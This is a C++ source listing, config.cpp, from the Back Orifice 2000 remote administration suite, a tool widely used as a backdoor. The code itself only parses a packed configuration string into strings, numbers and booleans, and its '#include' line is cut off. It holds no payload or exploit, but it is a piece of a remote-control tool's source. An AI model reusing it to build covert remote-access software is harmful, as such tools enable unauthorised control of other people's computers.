www.pudn.com > cast_src.rar > config.cpp

/*  Back Orifice 2000 - Remote Administration Suite 
    Copyright (C) 1999, Cult Of The Dead Cow 
 
    This file is free software, and not subject to GNU Public License 
	restrictions; you can redistribute it and/or modify it in any way  
	you see fit. This file is suitable for inclusion in a derivative 
	work, regardless of license on the work or availability of source code 
	to the work. If you redistribute this file, you must leave this 
	header intact. 
     
	This program is distributed in the hope that it will be useful, 
    but WITHOUT ANY WARRANTY; without even the implied warranty of 
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.   
 
	The author of this program may be contacted at dildog@l0pht.com. */ 
 
#include 
 
char *GetCfgStr(char *cfgstr,char *key) 
{ 
	char *str; 
	 
	str=cfgstr; 
 
	// Skip past name of options list 
	while(*str!='\0') str++; 
	str++; 
	// Walk through options 
	while(*str!='\0') { 
		int nLen; 
		if(*str=='B') { 
			nLen=1; 
			str+=2; 
			if(strncmp(str,key,lstrlen(key))==0) break; 
		} else if(*str=='S') { 
			str+=2; 
			nLen=atoi(str); 
			while(*str!=']') str++; 
			str+=2; 
			if(strncmp(str,key,lstrlen(key))==0) break; 
		} else if(*str=='N') { 
			str+=2; 
			char *pb; 
			pb=str; 
			while(*str!=',') str++; 
			nLen=(DWORD)str-(DWORD)pb; 
			str++; 
			pb=str; 
			while(*str!=']') str++; 
			int nLen2=(DWORD)str-(DWORD)pb; 
			if(nLen2>nLen) nLen=nLen2; 
			str+=2; 
			if(strncmp(str,key,lstrlen(key))==0) break; 
		} 
		while(*str!='=') str++; 
		str++; 
		str+=(nLen+1); 
	} 
	if(*str!='\0') { 
		while(*str!='=') str++; 
		return str+1; 
	} 
	 
	return NULL; 
} 
 
int GetCfgNum(char *cfgstr,char *key) 
{ 
	char *str; 
	str=GetCfgStr(cfgstr,key); 
	return (str==NULL)?0:atoi(str); 
} 
 
int GetCfgBool(char *cfgstr,char *key) 
{ 
	return GetCfgNum(cfgstr,key)?TRUE:FALSE; 
}